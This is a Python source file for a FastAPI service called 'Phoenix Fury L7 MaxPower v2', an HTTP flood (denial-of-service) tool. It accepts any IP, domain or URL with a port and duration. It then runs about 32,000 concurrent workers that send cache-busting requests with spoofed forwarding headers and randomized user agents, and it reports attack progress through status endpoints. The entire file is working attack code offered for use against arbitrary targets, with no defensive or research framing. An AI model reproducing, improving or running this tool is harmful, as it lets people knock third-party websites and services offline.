phoenix_fury.py

import asyncio
import random
import socket
import ssl
import time
import psutil
from typing import Dict
from fastapi import FastAPI, HTTPException, BackgroundTasks
from pydantic import BaseModel, Field, validator
import aiohttp
from aiohttp import ClientTimeout, TCPConnector

# Try uvloop for performance
try:
    import uvloop
    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
except ImportError:
    pass

app = FastAPI(
    title="🔥 Phoenix Fury L7 MaxPower v2",
    description="MAX-POWER HTTP FLOODER — IP, DOMAIN, URL, PORT, DURATION SUPPORTED",
    version="2.0"
)

# ======================
#   AUTO-TUNED FOR 8-CORE, 32GB RAM
# ======================
CPU_CORES = psutil.cpu_count(logical=True) or 8
TOTAL_CONCURRENCY = CPU_CORES * 4096  # ~32k concurrent tasks
REQUEST_TIMEOUT = 3
BATCH_SIZE = 10_000

# Spoof headers
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Mozilla/5.0 (X11; Linux x86_64)",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
]
REFERERS = ["https://www.google.com/", "https://www.bing.com/"]

def spoof_headers() -> Dict[str, str]:
    ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
    return {
        "User-Agent": random.choice(USER_AGENTS),
        "Referer": random.choice(REFERERS),
        "X-Forwarded-For": ip,
        "X-Real-IP": ip,
        "Accept": "*/*",
        "Connection": "close"
    }

# ======================
#   GLOBAL STATE
# ======================
class AttackState:
    def __init__(self):
        self.active = False
        self.target_url = ""
        self.start_time = 0
        self.total_requests = 0
        self.current_rps = 0
        self.last_count = 0
        self.last_time = time.time()

STATE = AttackState()

# ======================
#   PYDANTIC INPUT MODEL
# ======================
class AttackConfig(BaseModel):
    target: str = Field(..., description="IP, domain (example.com), or full URL (http://...)")
    port: int = Field(None, ge=1, le=65535, description="Optional port. Default: 80 (HTTP) or 443 (HTTPS)")
    duration: int = Field(60, ge=10, le=3600, description="Attack duration in seconds (10–3600)")

    @validator('target')
    def validate_target(cls, v):
        v = v.strip()
        if not v:
            raise ValueError("Target cannot be empty")
        # Allow IPs, domains, or URLs
        if v.startswith(('http://', 'https://')):
            return v
        # It's a domain or IP — we'll build URL later
        if ':' in v and not v.replace('.', '').replace(':', '').isdigit():
            raise ValueError("Invalid target format")
        return v

# ======================
#   WORKER & MONITOR
# ======================
async def flood_worker(url: str, session: aiohttp.ClientSession):
    local_count = 0
    while STATE.active:
        try:
            final_url = f"{url}?_={random.randint(10**8, 10**9 - 1)}"
            async with session.get(final_url, headers=spoof_headers(), timeout=REQUEST_TIMEOUT):
                pass
        except:
            pass
        local_count += 1
        if local_count >= BATCH_SIZE:
            STATE.total_requests += local_count
            local_count = 0
    if local_count > 0:
        STATE.total_requests += local_count

async def rps_monitor():
    while STATE.active:
        await asyncio.sleep(1)
        now = time.time()
        elapsed = now - STATE.last_time
        if elapsed > 0:
            current = STATE.total_requests
            STATE.current_rps = (current - STATE.last_count) / elapsed
            STATE.last_count = current
            STATE.last_time = now

# ======================
#   ATTACK CONTROL
# ======================
async def run_attack(url: str, duration: int):
    STATE.active = True
    STATE.target_url = url
    STATE.start_time = time.time()
    STATE.total_requests = 0
    STATE.current_rps = 0
    STATE.last_count = 0
    STATE.last_time = time.time()

    print(f"🚀 FLOOD STARTED: {url} | Duration: {duration}s | Concurrency: {TOTAL_CONCURRENCY}")

    ssl_ctx = ssl.create_default_context()
    ssl_ctx.check_hostname = False
    ssl_ctx.verify_mode = ssl.CERT_NONE
    connector = TCPConnector(limit=0, limit_per_host=0, force_close=True)
    timeout = ClientTimeout(total=REQUEST_TIMEOUT, connect=1, sock_read=2)

    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
        tasks = [flood_worker(url, session) for _ in range(TOTAL_CONCURRENCY)]
        await asyncio.gather(*tasks, return_exceptions=True)

async def stop_after(duration: int):
    await asyncio.sleep(duration)
    if STATE.active:
        STATE.active = False
        elapsed = time.time() - STATE.start_time
        avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
        print(f"✅ AUTO-STOP: {STATE.total_requests:,} requests | Avg RPS: {avg_rps:,.0f}")

def normalize_url(target: str, port: int = None) -> str:
    # Case 1: full URL
    if target.startswith(('http://', 'https://')):
        # Extract host and rebuild with IP
        from urllib.parse import urlparse
        parsed = urlparse(target)
        hostname = parsed.hostname or parsed.path.split('/')[0]
        if not hostname:
            raise ValueError("Invalid URL")
        try:
            ip = socket.gethostbyname(hostname)
        except Exception as e:
            raise ValueError(f"DNS resolve failed: {e}")
        scheme = parsed.scheme
        # Rebuild path
        path = parsed.path or '/'
        if port is None:
            port = parsed.port or (443 if scheme == 'https' else 80)
        return f"{scheme}://{ip}:{port}{path}"
    
    # Case 2: plain domain or IP
    # Detect if it's an IP or domain
    try:
        socket.inet_aton(target)
        is_ip = True
    except:
        is_ip = False

    # Auto-choose protocol
    if port == 443 or (port is None and is_ip):
        scheme = 'https'
        actual_port = port or 443
    else:
        scheme = 'http'
        actual_port = port or 80

    resolved_host = target if is_ip else socket.gethostbyname(target)
    return f"{scheme}://{resolved_host}:{actual_port}/"

# ======================
#   API ENDPOINTS
# ======================
@app.post("/start")
async def start_attack(config: AttackConfig, background_tasks: BackgroundTasks):
    if STATE.active:
        raise HTTPException(409, "Attack already in progress")

    try:
        normalized_url = normalize_url(config.target, config.port)
    except Exception as e:
        raise HTTPException(400, f"Target resolution error: {e}")

    background_tasks.add_task(run_attack, normalized_url, config.duration)
    background_tasks.add_task(stop_after, config.duration)

    return {
        "status": "started",
        "target": config.target,
        "resolved_url": normalized_url,
        "duration_sec": config.duration,
        "concurrency": TOTAL_CONCURRENCY
    }

@app.post("/stop")
async def stop_attack():
    if not STATE.active:
        return {"status": "idle"}
    STATE.active = False
    elapsed = time.time() - STATE.start_time
    return {
        "status": "stopped",
        "total_requests": STATE.total_requests,
        "elapsed_sec": round(elapsed, 2),
        "avg_rps": round(STATE.total_requests / elapsed, 2) if elapsed > 0 else 0
    }

@app.get("/status")
async def get_status():
    elapsed = time.time() - STATE.start_time if STATE.active else 0
    return {
        "active": STATE.active,
        "target_url": STATE.target_url,
        "elapsed_sec": round(elapsed, 2),
        "total_requests": STATE.total_requests,
        "current_rps": round(STATE.current_rps, 2),
        "cpu_percent": psutil.cpu_percent(),
        "memory_percent": psutil.virtual_memory().percent
    }

@app.get("/")
async def root():
    return {"message": "🔥 Phoenix Fury L7 MaxPower v2 — POST /start to begin"}